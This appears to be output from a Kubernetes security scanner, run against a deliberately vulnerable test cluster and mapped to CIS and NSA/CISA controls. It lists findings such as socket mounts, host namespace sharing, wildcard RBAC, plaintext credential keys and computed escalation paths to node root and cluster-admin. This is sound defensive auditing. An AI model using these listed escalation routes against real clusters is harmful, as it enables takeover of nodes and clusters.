  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace vulnerable has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • MEDIUM KUBE-NETPOL-COVERAGE-002 Workload Deployment/flat-network/unmatched is in a policied namespace but no policy podSelector matches it
  • MEDIUM KUBE-NETPOL-COVERAGE-002 Workload Deployment/netpol-imds/imds-open-app is in a policied namespace but no policy podSelector matches it
  • MEDIUM KUBE-NETPOL-COVERAGE-003 Namespace ingress-only controls ingress but has no Egress policy (one-way enforcement)
  • MEDIUM KUBE-NETPOL-COVERAGE-003 Namespace netpol-bridge controls ingress but has no Egress policy (one-way enforcement)
19 findings
5.1.2

Minimize access to secrets

9 high 2 med
11 findings
5.1.5

Ensure that default service accounts are not actively used

2 high 17 med
  • HIGH KUBE-PRIVESC-014 Cluster-wide create serviceaccounts/token enables token minting (ServiceAccount/rbac-fixtures/sa-token-create)
  • HIGH KUBE-SECRETS-001 Secret vulnerable/legacy-token is a long-lived kubernetes.io/service-account-token (legacy, no expiry)
  • MEDIUM KUBE-SA-DEFAULT-002 Default ServiceAccount vulnerable/default carries explicit RBAC, so every pod that omits serviceAccountName inherits these rights
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/cloud-eks-test/imds-pivot-app runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/containersec-fixtures/containersec-image runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/containersec-fixtures/containersec-lifecycle runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/containersec-fixtures/containersec-limits runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/containersec-fixtures/containersec-probes runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/flat-network/api runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/flat-network/unmatched runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/ingress-only/ingress-app runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/netpol-imds/imds-allow-app runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/netpol-imds/imds-open-app runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/psa-suppressed/psa-priv-app runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/vulnerable/generic-hostpath-app runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/vulnerable/host-ns-app runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/vulnerable/risky-app runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/vulnerable/root-runner runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/vulnerable/socket-mounts-app runs as the namespace default ServiceAccount
19 findings
5.2.4

Minimize the admission of containers wishing to share the host network namespace

2 high
  • HIGH KUBE-ESCAPE-003 Pod shares host network (hostNetwork: true) in Deployment/psa-unlabeled-fixtures/psa-unlabeled-app
  • HIGH KUBE-ESCAPE-003 Pod shares host network (hostNetwork: true) in Deployment/vulnerable/risky-app
2 findings
5.2.3

Minimize the admission of containers wishing to share the host IPC namespace

1 high
  • HIGH KUBE-ESCAPE-004 Pod shares host IPC (hostIPC: true) in Deployment/vulnerable/host-ns-app
1 finding
5.5.1

Configure Image Provenance using ImagePolicyWebhook admission controller

1 high
  • HIGH KUBE-ADMISSION-001 MutatingWebhookConfiguration risky-ignore-webhook/mutate.vulnerable.local is fail-open (failurePolicy: Ignore) on security-critical resources
1 finding
5.7.2

Ensure that the seccomp profile is set to docker/default in your pod definitions

26 med
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in DaemonSet/rbac-fixtures/daemon-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/cloud-eks-test/imds-pivot-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/cloud-eks-test/irsa-admin-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/containersec-fixtures/containersec-image
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/containersec-fixtures/containersec-lifecycle
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/containersec-fixtures/containersec-limits
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/containersec-fixtures/containersec-probes
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/csr-fixtures/csr-mint-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container api runs without a seccomp profile in Deployment/flat-network/api
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/flat-network/unmatched
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/ingress-only/ingress-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container local-path-provisioner runs without a seccomp profile in Deployment/local-path-storage/local-path-provisioner
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/lp-fixtures/lp-narrow-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/lp-fixtures/lp-orphan-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/lp-fixtures/lp-wildcard-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/netpol-imds/imds-allow-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/netpol-imds/imds-open-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/psa-unlabeled-fixtures/psa-unlabeled-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/rbac-fixtures/imp-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/rbac-fixtures/wildcard-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container pause runs without a seccomp profile in Deployment/secrets-bundle/cross-ns-consumer
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/vulnerable/generic-hostpath-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/vulnerable/host-ns-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/vulnerable/risky-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/vulnerable/root-runner
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/vulnerable/socket-mounts-app
26 findings
5.7.3

Apply Security Context to Your Pods and Containers

26 med
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in DaemonSet/rbac-fixtures/daemon-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/cloud-eks-test/imds-pivot-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/cloud-eks-test/irsa-admin-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/containersec-fixtures/containersec-image
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/containersec-fixtures/containersec-lifecycle
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/containersec-fixtures/containersec-limits
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/containersec-fixtures/containersec-probes
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/csr-fixtures/csr-mint-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container api has a writable root filesystem in Deployment/flat-network/api
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/flat-network/unmatched
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/ingress-only/ingress-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container local-path-provisioner has a writable root filesystem in Deployment/local-path-storage/local-path-provisioner
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/lp-fixtures/lp-narrow-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/lp-fixtures/lp-orphan-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/lp-fixtures/lp-wildcard-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/netpol-imds/imds-allow-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/netpol-imds/imds-open-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/psa-unlabeled-fixtures/psa-unlabeled-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/rbac-fixtures/imp-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/rbac-fixtures/wildcard-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container pause has a writable root filesystem in Deployment/secrets-bundle/cross-ns-consumer
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/vulnerable/generic-hostpath-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/vulnerable/host-ns-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/vulnerable/risky-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/vulnerable/root-runner
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/vulnerable/socket-mounts-app
26 findings
5.4.2

Consider external secret storage

2 med
  • MEDIUM KUBE-CONFIGMAP-001 ConfigMap secrets-bundle/app-credentials exposes credential-shaped keys (aws_secret_access_key, database_dsn, db_password, jwt_token, oauth_client_secret) in plaintext
  • MEDIUM KUBE-CONFIGMAP-001 ConfigMap vulnerable/app-config exposes credential-shaped keys (api_token, db_password) in plaintext
2 findings
5.2.6

Minimize the admission of root containers

1 med
  • MEDIUM KUBE-PODSEC-ROOT-001 Container app runs as root (UID 0) in Deployment/vulnerable/root-runner
1 finding
NSA / CISA

NSA/CISA Kubernetes Hardening Guide v1.2

4 controls 235 findings 61 crit 77 high 94 med 3 low View framework →
Pod Security

Application security: securityContext

31 crit 33 high 59 med 3 low
  • CRITICAL KUBE-ESCAPE-005 Docker socket mounted into Deployment/vulnerable/socket-mounts-app (volume docker-sock/var/run/docker.sock)
  • CRITICAL KUBE-ESCAPE-006 Root filesystem (/) mounted from host into Deployment/vulnerable/risky-app
  • CRITICAL KUBE-ESCAPE-001 Privileged container app in Deployment/vulnerable/risky-app
  • CRITICAL KUBE-CONTAINERD-SOCKET-001 Containerd socket mounted into Deployment/vulnerable/socket-mounts-app (volume containerd-sock)
  • CRITICAL KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/cloud-eks-test/default can reach node escape (host root) in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/containersec-fixtures/default can reach node escape (host root) in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/csr-fixtures/sa-csr-mint can reach node escape (host root) in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/flat-network/default can reach node escape (host root) in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/ingress-only/default can reach node escape (host root) in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/local-path-storage/local-path-provisioner-service-account can reach node escape (host root) in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/lp-fixtures/sa-lp-narrow can reach node escape (host root) in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/lp-fixtures/sa-lp-orphan can reach node escape (host root) in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/lp-fixtures/sa-lp-wildcard can reach node escape (host root) in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/netpol-imds/default can reach node escape (host root) in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/privesc-fixtures/sa-node-migrate can reach node escape (host root) in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/privesc-fixtures/sa-pod-create-escape can reach node escape (host root) in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/psa-suppressed/default can reach node escape (host root) in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled can reach node escape (host root) in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath can reach node escape (host root) in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/rbac-fixtures/sa-cluster-admin can reach node escape (host root) in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/rbac-fixtures/sa-impersonate can reach node escape (host root) in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/rbac-fixtures/sa-nodes-proxy can reach node escape (host root) in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/rbac-fixtures/sa-pod-create can reach node escape (host root) in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/rbac-fixtures/sa-wildcard can reach node escape (host root) in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/secrets-bundle/cross-ns-reader can reach node escape (host root) in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/vulnerable/default can reach node escape (host root) in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/vulnerable/privileged-reader can reach node escape (host root) in 1 hop(s)
  • CRITICAL KUBE-ESCAPE-002 Pod shares host PID namespace (hostPID: true) in Deployment/vulnerable/host-ns-app
  • CRITICAL KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/privesc-fixtures/sa-ephemeral can reach node escape (host root) in 2 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/privesc-fixtures/sa-pod-exec can reach node escape (host root) in 2 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/rbac-fixtures/sa-token-create can reach node escape (host root) in 2 hop(s)
  • HIGH KUBE-PV-HOSTPATH-001 Pod-mounted PVC pvc-hostpath-kubelet is backed by a sensitive hostPath PV pv-hostpath-kubelet
  • HIGH KUBE-ESCAPE-008 /var/log mounted from host into Deployment/vulnerable/socket-mounts-app enables log-symlink escape primitive
  • HIGH KUBE-ESCAPE-003 Pod shares host network (hostNetwork: true) in Deployment/psa-unlabeled-fixtures/psa-unlabeled-app
  • HIGH KUBE-ESCAPE-003 Pod shares host network (hostNetwork: true) in Deployment/vulnerable/risky-app
  • HIGH KUBE-ESCAPE-004 Pod shares host IPC (hostIPC: true) in Deployment/vulnerable/host-ns-app
  • HIGH KUBE-ADMISSION-001 MutatingWebhookConfiguration risky-ignore-webhook/mutate.vulnerable.local is fail-open (failurePolicy: Ignore) on security-critical resources
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in DaemonSet/rbac-fixtures/daemon-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/cloud-eks-test/imds-pivot-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/cloud-eks-test/irsa-admin-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/containersec-fixtures/containersec-image
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/containersec-fixtures/containersec-lifecycle
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/containersec-fixtures/containersec-limits
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/containersec-fixtures/containersec-probes
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/csr-fixtures/csr-mint-app
  • HIGH KUBE-PODSEC-APE-001 Container api allows privilege escalation in Deployment/flat-network/api
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/flat-network/unmatched
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/ingress-only/ingress-app
  • HIGH KUBE-PODSEC-APE-001 Container local-path-provisioner allows privilege escalation in Deployment/local-path-storage/local-path-provisioner
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/lp-fixtures/lp-narrow-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/lp-fixtures/lp-orphan-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/lp-fixtures/lp-wildcard-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/netpol-imds/imds-allow-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/netpol-imds/imds-open-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/psa-unlabeled-fixtures/psa-unlabeled-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/rbac-fixtures/imp-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/rbac-fixtures/wildcard-app
  • HIGH KUBE-PODSEC-APE-001 Container pause allows privilege escalation in Deployment/secrets-bundle/cross-ns-consumer
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/vulnerable/generic-hostpath-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/vulnerable/host-ns-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/vulnerable/risky-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/vulnerable/root-runner
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/vulnerable/socket-mounts-app
  • HIGH KUBE-HOSTPATH-001 HostPath mount /tmp/data in Deployment/vulnerable/generic-hostpath-app
  • MEDIUM KUBE-ADMISSION-003 MutatingWebhookConfiguration risky-ignore-webhook/mutate.vulnerable.local exempts sensitive system namespaces via namespaceSelector
  • MEDIUM KUBE-CONFIGMAP-001 ConfigMap secrets-bundle/app-credentials exposes credential-shaped keys (aws_secret_access_key, database_dsn, db_password, jwt_token, oauth_client_secret) in plaintext
  • MEDIUM KUBE-CONFIGMAP-001 ConfigMap vulnerable/app-config exposes credential-shaped keys (api_token, db_password) in plaintext
  • MEDIUM KUBE-ADMISSION-002 MutatingWebhookConfiguration risky-ignore-webhook/mutate.vulnerable.local can be bypassed by omitting the workload-controlled labels in objectSelector
  • MEDIUM KUBE-PODSEC-ROOT-001 Container app runs as root (UID 0) in Deployment/vulnerable/root-runner
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in DaemonSet/rbac-fixtures/daemon-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/cloud-eks-test/imds-pivot-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/cloud-eks-test/irsa-admin-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/containersec-fixtures/containersec-image
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/containersec-fixtures/containersec-lifecycle
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/containersec-fixtures/containersec-limits
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/containersec-fixtures/containersec-probes
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/csr-fixtures/csr-mint-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container api has a writable root filesystem in Deployment/flat-network/api
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/flat-network/unmatched
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/ingress-only/ingress-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container local-path-provisioner has a writable root filesystem in Deployment/local-path-storage/local-path-provisioner
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/lp-fixtures/lp-narrow-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/lp-fixtures/lp-orphan-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/lp-fixtures/lp-wildcard-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/netpol-imds/imds-allow-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/netpol-imds/imds-open-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/psa-unlabeled-fixtures/psa-unlabeled-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/rbac-fixtures/imp-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/rbac-fixtures/wildcard-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container pause has a writable root filesystem in Deployment/secrets-bundle/cross-ns-consumer
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/vulnerable/generic-hostpath-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/vulnerable/host-ns-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/vulnerable/risky-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/vulnerable/root-runner
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/vulnerable/socket-mounts-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in DaemonSet/rbac-fixtures/daemon-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/cloud-eks-test/imds-pivot-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/cloud-eks-test/irsa-admin-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/containersec-fixtures/containersec-image
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/containersec-fixtures/containersec-lifecycle
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/containersec-fixtures/containersec-limits
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/containersec-fixtures/containersec-probes
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/csr-fixtures/csr-mint-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container api runs without a seccomp profile in Deployment/flat-network/api
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/flat-network/unmatched
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/ingress-only/ingress-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container local-path-provisioner runs without a seccomp profile in Deployment/local-path-storage/local-path-provisioner
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/lp-fixtures/lp-narrow-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/lp-fixtures/lp-orphan-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/lp-fixtures/lp-wildcard-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/netpol-imds/imds-allow-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/netpol-imds/imds-open-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/psa-unlabeled-fixtures/psa-unlabeled-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/rbac-fixtures/imp-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/rbac-fixtures/wildcard-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container pause runs without a seccomp profile in Deployment/secrets-bundle/cross-ns-consumer
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/vulnerable/generic-hostpath-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/vulnerable/host-ns-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/vulnerable/risky-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/vulnerable/root-runner
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/vulnerable/socket-mounts-app
  • MEDIUM KUBE-PSA-LABELS-001 Namespace psa-unlabeled-fixtures runs Baseline violators but has no PSA enforce label
  • MEDIUM KUBE-PSA-LABELS-001 Namespace vulnerable runs Baseline violators but has no PSA enforce label
  • LOW KUBE-IMAGE-LATEST-001 Container app uses mutable image tag public.ecr.aws/aws-cli/aws-cli:latest in Deployment/cloud-eks-test/imds-pivot-app
  • LOW KUBE-IMAGE-LATEST-001 Container app uses mutable image tag busybox:latest in Deployment/containersec-fixtures/containersec-image
  • LOW KUBE-IMAGE-LATEST-001 Container app uses mutable image tag nginx:latest in Deployment/vulnerable/risky-app
126 findings
Authorization

Role-based access control

28 crit 20 high 13 med
  • CRITICAL KUBE-PRIVESC-008 Cluster-wide impersonate permission on ServiceAccount/rbac-fixtures/sa-impersonate
  • CRITICAL KUBE-PRIVESC-009 Cluster-wide bind/escalate on roles bypasses RBAC (ServiceAccount/rbac-fixtures/sa-bind-escalate)
  • CRITICAL KUBE-PRIVESC-010 Cluster-wide write access to (Cluster)RoleBindings opens a self-grant path (ServiceAccount/rbac-fixtures/sa-rolebinding-mutate)
  • CRITICAL KUBE-PRIVESC-010 Namespace rbac-ns-fixtures only write access to (Cluster)RoleBindings opens a self-grant path (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate)
  • CRITICAL KUBE-PRIVESC-012 get nodes/proxy enables kubelet exec via API server (ServiceAccount/rbac-fixtures/sa-nodes-proxy)
  • CRITICAL KUBE-PRIVESC-017 Cluster-wide wildcard RBAC permissions on ServiceAccount/rbac-fixtures/sa-cluster-admin
  • CRITICAL KUBE-PRIVESC-017 Cluster-wide wildcard RBAC permissions on ServiceAccount/rbac-fixtures/sa-wildcard
  • CRITICAL KUBE-RBAC-OVERBROAD-001 Non-system subject ServiceAccount/rbac-fixtures/sa-cluster-admin directly bound to cluster-admin
  • CRITICAL KUBE-SA-PRIVILEGED-001 ServiceAccount ServiceAccount/rbac-fixtures/sa-cluster-admin holds wildcard verbs on wildcard resources (cluster-admin equivalent)
  • CRITICAL KUBE-SA-PRIVILEGED-001 ServiceAccount ServiceAccount/rbac-fixtures/sa-wildcard holds wildcard verbs on wildcard resources (cluster-admin equivalent)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/rbac-fixtures/sa-bind-escalate can reach cluster-admin equivalent in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/rbac-fixtures/sa-cluster-admin can reach cluster-admin equivalent in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/rbac-fixtures/sa-impersonate can reach cluster-admin equivalent in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/rbac-fixtures/sa-rolebinding-mutate can reach cluster-admin equivalent in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/rbac-fixtures/sa-wildcard can reach cluster-admin equivalent in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/csr-fixtures/sa-csr-mint can impersonate `system:masters` in 1 hop(s), bypassing all RBAC
